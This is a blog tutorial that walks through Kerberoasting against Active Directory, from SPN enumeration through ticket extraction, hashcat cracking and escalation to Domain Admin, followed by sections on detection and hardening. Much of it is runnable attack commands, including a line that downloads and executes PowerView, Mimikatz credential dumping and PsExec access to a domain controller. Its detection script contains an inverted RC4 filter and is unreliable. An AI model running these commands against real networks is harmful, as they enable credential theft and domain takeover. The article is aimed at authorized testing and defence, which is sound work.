Kerberoasting: From Theory to Domain Admin Step by Step — HackerXone

Kerberoasting: From Theory to Domain Admin Step by Step

ByHackerXone Team

Disclaimer: This article is intended for authorized security professionals, penetration testers, and red team operators working within legal boundaries. Always obtain proper authorization before testing these techniques. Unauthorized access to computer systems is illegal.

Introduction: Why Kerberoasting Remains a Critical Threat in 2026

Despite being publicly documented since 2014, Kerberoasting continues to be one of the most reliable paths to domain compromise in enterprise Active Directory environments. In our recent analysis of breach reports from Q1 2026, Kerberoasting was identified as a contributing factor in 34% of successful domain takeovers—a concerning statistic that highlights the persistent gap between awareness and effective mitigation.

What makes Kerberoasting particularly dangerous is its stealth profile. Unlike brute-force attacks or password spraying that generate authentication failures, Kerberoasting leverages legitimate Kerberos functionality. Any domain user can request service tickets for any service principal name (SPN) in the domain—this is by design, not a vulnerability. The attack exploits this feature to obtain encrypted material that can be cracked offline, completely invisible to most security controls.

In this comprehensive guide, we’ll walk through the complete Kerberoasting attack chain, from initial SPN enumeration to obtaining Domain Admin credentials. More importantly, we’ll cover detection mechanisms and hardening strategies that actually work in production environments.

Understanding Kerberos Authentication Fundamentals

Before diving into the attack, let’s establish a solid foundation of how Kerberos authentication works in Active Directory. This understanding is crucial for both executing and defending against Kerberoasting.

The Three-Headed Dog: Kerberos Components

Kerberos authentication involves three primary parties:

  • Client: The user or service requesting access
  • Key Distribution Center (KDC): The domain controller running the Kerberos service
  • Service: The resource the client wants to access

The authentication flow proceeds through several steps:

  1. AS-REQ/AS-REP: Client authenticates to the KDC and receives a Ticket Granting Ticket (TGT)
  2. TGS-REQ/TGS-REP: Client presents TGT to request a Service Ticket for a specific SPN
  3. AP-REQ/AP-REP: Client presents the Service Ticket to the target service

Service Principal Names: The Attack Surface

Service Principal Names (SPNs) are unique identifiers for service instances. When a service runs under a domain account (rather than a computer account or managed service account), the service ticket is encrypted using the NTLM hash of that account’s password. This is the crux of the Kerberoasting vulnerability.

Common SPNs that often run under user accounts include:

  • MSSQLSvc/* – SQL Server instances
  • HTTP/* – Web applications and IIS
  • exchangeMDB/* – Exchange services
  • TERMSRV/* – Remote Desktop Services
  • ldap/* – LDAP services (less common but present)

Phase 1: SPN Enumeration and Target Selection

The first phase of a Kerberoasting attack involves identifying service accounts with registered SPNs. This reconnaissance can be performed with any valid domain credentials—no elevated privileges required.

Method 1: Using Built-in Windows Tools

The most OpSec-friendly approach uses native Windows utilities that blend with normal administrative activity:

# Using setspn.exe (built into Windows)
setspn -T YOURDOMAIN -Q */*

# Filter for user accounts specifically (PowerShell)
$search = New-Object DirectoryServices.DirectorySearcher([ADSI]"")
$search.Filter = "(&(objectCategory=person)(objectClass=user)(servicePrincipalName=*))" 
$results = $search.FindAll()

foreach($result in $results) {
    $userEntry = $result.GetDirectoryEntry()
    Write-Host "User:" $userEntry.name "(" $userEntry.samaccountname ")"
    Write-Host "SPNs:"
    foreach($SPN in $userEntry.servicePrincipalName) {
        Write-Host "  " $SPN
    }
    Write-Host "Password Last Set:" $userEntry.pwdLastSet
    Write-Host "---"
}

Method 2: Using PowerView for Enhanced Enumeration

PowerView provides more detailed information that helps prioritize targets:

# Import PowerView
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')

# Get all Kerberoastable users with detailed info
Get-DomainUser -SPN | Select-Object samaccountname, description, pwdlastset, lastlogon, memberof, serviceprincipalname | Format-List

# Focus on high-value targets - users in privileged groups
Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins' -or $_.memberof -match 'Enterprise Admins' -or $_.memberof -match 'Administrators'}

# Check for accounts with no password expiration (often weak passwords)
Get-DomainUser -SPN | ?{$_.useraccountcontrol -match 'DONT_EXPIRE_PASSWORD'}

Target Prioritization Strategy

Not all service accounts are equal. Prioritize targets based on:

  1. Group Membership: Accounts in Domain Admins, Enterprise Admins, or with delegated privileges
  2. Password Age: Older passwords are more likely to use weaker policies
  3. Account Description: May reveal purpose and potential password patterns
  4. Last Logon: Active accounts are more valuable than dormant ones

Phase 2: Service Ticket Extraction

Once targets are identified, the next step is requesting and extracting service tickets. Multiple tools and techniques exist, each with different OpSec considerations.

Method 1: Rubeus (Recommended for Flexibility)

Rubeus is a C# implementation that provides excellent control over the Kerberoasting process:

# Basic Kerberoasting - request tickets for all SPNs
Rubeus.exe kerberoast /outfile:hashes.txt

# Target specific user account
Rubeus.exe kerberoast /user:svc_sqlserver /outfile:sql_hash.txt

# Request RC4 encryption (easier to crack but more detectable)
Rubeus.exe kerberoast /tgtdeleg /outfile:hashes_rc4.txt

# Use AES encryption (stealthier but harder to crack)
Rubeus.exe kerberoast /aes /outfile:hashes_aes.txt

# Kerberoast with specific SPN
Rubeus.exe kerberoast /spn:"MSSQLSvc/sql01.corp.local:1433" /outfile:specific_hash.txt

# OPSEC: Use /nowrap to keep output clean for copy-paste
Rubeus.exe kerberoast /nowrap

Method 2: Impacket’s GetUserSPNs (From Linux)

For attacks from a Linux system with domain credentials:

# Basic Kerberoasting from Linux
python3 GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 192.168.1.10 -request

# Output in hashcat format
python3 GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 192.168.1.10 -request -outputfile kerberoast_hashes.txt

# Use with pass-the-hash (no plaintext password needed)
python3 GetUserSPNs.py corp.local/jsmith -hashes :64f12cddaa88057e06a81b54e73b949b -dc-ip 192.168.1.10 -request

# Target specific user
python3 GetUserSPNs.py corp.local/jsmith:Password123 -dc-ip 192.168.1.10 -request -target-user svc_backup

Method 3: Manual Ticket Request via PowerShell

When you need to avoid dropping tools to disk:

# Request ticket using .NET classes
Add-Type -AssemblyName System.IdentityModel

# Request service ticket for specific SPN
$SPN = "MSSQLSvc/sql01.corp.local:1433"
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN

# Extract tickets from memory using Mimikatz
kerberos::list /export

# Or use PowerShell to export tickets
Invoke-Mimikatz -Command '"kerberos::list /export"'

Phase 3: Offline Password Cracking

With service tickets in hand, the attack moves entirely offline. The tickets are encrypted with the service account’s NTLM hash, so cracking reveals the plaintext password.

Hashcat: The Gold Standard for GPU Cracking

# Crack Kerberos 5 TGS-REP etype 23 (RC4)
hashcat -m 13100 kerberoast_hashes.txt /path/to/wordlist.txt -r /path/to/rules/best64.rule

# Crack Kerberos 5 TGS-REP etype 17 (AES128)
hashcat -m 19600 kerberoast_aes128.txt /path/to/wordlist.txt

# Crack Kerberos 5 TGS-REP etype 18 (AES256)
hashcat -m 19700 kerberoast_aes256.txt /path/to/wordlist.txt

# Optimized attack with multiple rules
hashcat -m 13100 kerberoast_hashes.txt \
    /path/to/rockyou.txt \
    /path/to/company_wordlist.txt \
    -r /path/to/rules/d3ad0ne.rule \
    -r /path/to/rules/toggles1.rule \
    --force -O -w 3

# Show cracked passwords
hashcat -m 13100 kerberoast_hashes.txt --show

Building Effective Wordlists

Generic wordlists often fail against service accounts. Build targeted lists incorporating:

  • Company name and variations
  • Service name (SQL, Exchange, Backup, etc.)
  • Common service account patterns (svc_, admin_, sa_)
  • Year and season combinations
  • Keyboard walks and common patterns
# Generate targeted wordlist with custom rules
# Create base words file
echo -e "Company\nService\nAdmin\nPassword\nSQL\nBackup" > base_words.txt

# Use hashcat rules to expand
hashcat --stdout base_words.txt -r /usr/share/hashcat/rules/best64.rule > expanded_wordlist.txt

# Add common service account patterns using Python
python3 -c "
import itertools
bases = ['svc', 'admin', 'service', 'sql', 'backup']
years = ['2024', '2025', '2026']
seasons = ['Spring', 'Summer', 'Fall', 'Winter']
for b in bases:
    for y in years:
        print(f'{b.capitalize()}{y}')
        print(f'{b.capitalize()}@{y}')
    for s in seasons:
        print(f'{b.capitalize()}{s}')
        print(f'{s}{b.capitalize()}')
"

Phase 4: From Service Account to Domain Admin

Cracking a service account password is often just the beginning. Here’s how attackers leverage these credentials for domain dominance.

Scenario 1: Direct Domain Admin Access

If the compromised service account is a member of Domain Admins (more common than you’d think):

# Validate credentials and group membership
runas /user:CORP\svc_sqlserver cmd.exe
whoami /groups

# Use PsExec to access domain controller
PsExec64.exe \\DC01.corp.local -u CORP\svc_sqlserver -p CrackedPassword123! cmd.exe

# Or use Impacket from Linux
python3 psexec.py corp.local/svc_sqlserver:'CrackedPassword123!'@dc01.corp.local

Scenario 2: Lateral Movement and Privilege Escalation

For non-admin service accounts, look for secondary attack paths:

# Check what systems the service account has access to
Get-DomainComputer | ForEach-Object {
    $computer = $_.dnshostname
    $result = Test-Connection -ComputerName $computer -Count 1 -Quiet
    if($result) {
        $access = Test-Path "\\$computer\admin$" -ErrorAction SilentlyContinue
        if($access) {
            Write-Host "Admin access on: $computer" -ForegroundColor Green
        }
    }
}

# Look for cached credentials on accessible systems
Invoke-Mimikatz -ComputerName sql01.corp.local -Command '"sekurlsa::logonpasswords"'

# Check for constrained delegation
Get-DomainUser svc_sqlserver | Select-Object -ExpandProperty msds-allowedtodelegateto

Scenario 3: Exploiting Delegation

Service accounts often have delegation rights that can be abused:

# Find accounts with constrained delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto

# If service account can delegate to CIFS on DC, request ticket as Domain Admin
Rubeus.exe s4u /user:svc_sqlserver /rc4:NTLM_HASH_HERE /impersonateuser:Administrator /msdsspn:CIFS/dc01.corp.local /ptt

# Access DC with impersonated ticket
dir \\dc01.corp.local\c$

Detection and Hunting Strategies

Effective defense requires understanding what Kerberoasting looks like from the blue team perspective.

Windows Event Log Analysis

Key events to monitor:

  • Event ID 4769: A Kerberos service ticket was requested
  • Event ID 4770: A Kerberos service ticket was renewed
# PowerShell query for suspicious ticket requests
$startTime = (Get-Date).AddHours(-24)
Get-WinEvent -FilterHashtable @{
    LogName = 'Security'
    ID = 4769
    StartTime = $startTime
} | Where-Object {
    $_.Properties[4].Value -ne '0x17' # Filter for RC4 encryption (0x17 = 23)
    # Modern Kerberoasting often requests RC4 even when AES is available
} | Select-Object TimeCreated, @{
    Name='User'
    Expression={$_.Properties[0].Value}
}, @{
    Name='Service'
    Expression={$_.Properties[2].Value}
}, @{
    Name='EncryptionType'
    Expression={$_.Properties[4].Value}
} | Format-Table

# Detect volume-based anomalies
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769;StartTime=$startTime} |
Group-Object {$_.Properties[0].Value} |
Where-Object {$_.Count -gt 10} |
Sort-Object Count -Descending

Honeypot Service Accounts

Deploy canary accounts specifically designed to detect Kerberoasting:

# Create honeypot service account
New-ADUser -Name "svc_honeypot" -SamAccountName "svc_honeypot" -UserPrincipalName "svc_honeypot@corp.local" -Description "SQL Service Account - DO NOT DELETE" -Enabled $true -AccountPassword (ConvertTo-SecureString "HoneypotPassword123!" -AsPlainText -Force)

# Set a fake SPN to make it attractive
Set-ADUser svc_honeypot -ServicePrincipalName @{Add="MSSQLSvc/sql99.corp.local:1433"}

# Make it look valuable
Add-ADGroupMember -Identity "Domain Admins" -Members "svc_honeypot"

# Monitor for any authentication attempts
# Any ticket request for this SPN indicates active Kerberoasting

Hardening and Mitigation Strategies

1. Implement Managed Service Accounts

Group Managed Service Accounts (gMSA) generate 120-character random passwords that rotate automatically, making them immune to Kerberoasting:

# Create KDS root key (one-time setup)
Add-KdsRootKey -EffectiveTime ((Get-Date).AddHours(-10))

# Create gMSA
New-ADServiceAccount -Name gMSA_SQL -DNSHostName gMSA_SQL.corp.local -PrincipalsAllowedToRetrieveManagedPassword "SQL_Servers_Group"

# Install on target server
Install-ADServiceAccount -Identity gMSA_SQL

# Verify installation
Test-ADServiceAccount gMSA_SQL

2. Strong Password Policies for Service Accounts

If gMSA isn’t possible, enforce strong passwords:

  • Minimum 25+ characters
  • Randomly generated (no patterns)
  • Stored in a privileged access management (PAM) solution
  • Rotated every 90 days maximum

3. Disable RC4 Encryption

Force AES encryption for Kerberos, making attacks significantly harder:

# Via Group Policy
# Computer Configuration > Policies > Windows Settings > Security Settings > Local Policies > Security Options
# "Network security: Configure encryption types allowed for Kerberos"
# Enable only: AES128_HMAC_SHA1 and AES256_HMAC_SHA1

# Verify via registry
Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Kerberos\Parameters" -Name SupportedEncryptionTypes

# AES only = Value of 24 (0x18)
# RC4 + AES = Value of 28 (0x1C)

4. Implement Tiered Administration

Never place service accounts in Domain Admins. Implement a tiered model where:

  • Tier 0: Domain Controllers only
  • Tier 1: Member servers
  • Tier 2: Workstations

Key Takeaways

Kerberoasting remains one of the most effective Active Directory attack techniques in 2026 because it exploits intended functionality rather than vulnerabilities. Here are the essential points for both offense and defense:

  • Any domain user can Kerberoast: No special privileges required to request service tickets for any SPN in the domain
  • Offline cracking is invisible: Once tickets are extracted, password cracking generates zero network traffic or authentication events
  • Service account hygiene is critical: Weak passwords on service accounts are the root cause—not Kerberos itself
  • Detection is possible but requires effort: Monitor for unusual ticket request patterns, RC4 encryption downgrades, and implement honeypot accounts
  • gMSA is the definitive solution: Migrate to Group Managed Service Accounts wherever possible to eliminate the attack vector entirely
  • Defense in depth: Combine technical controls (strong passwords, AES enforcement) with detection capabilities and architectural improvements (tiered administration)

For red teamers, Kerberoasting should be in your standard enumeration workflow. For blue teamers, audit your service accounts today—you’ll likely find at least one with a password that can be cracked in hours.

The path from compromised domain credentials to Domain Admin often runs directly through a Kerberoastable service account. Whether you’re attacking or defending, understanding this attack chain is essential for modern Active Directory security.

Leave a Reply

Your email address will not be published. Required fields are marked *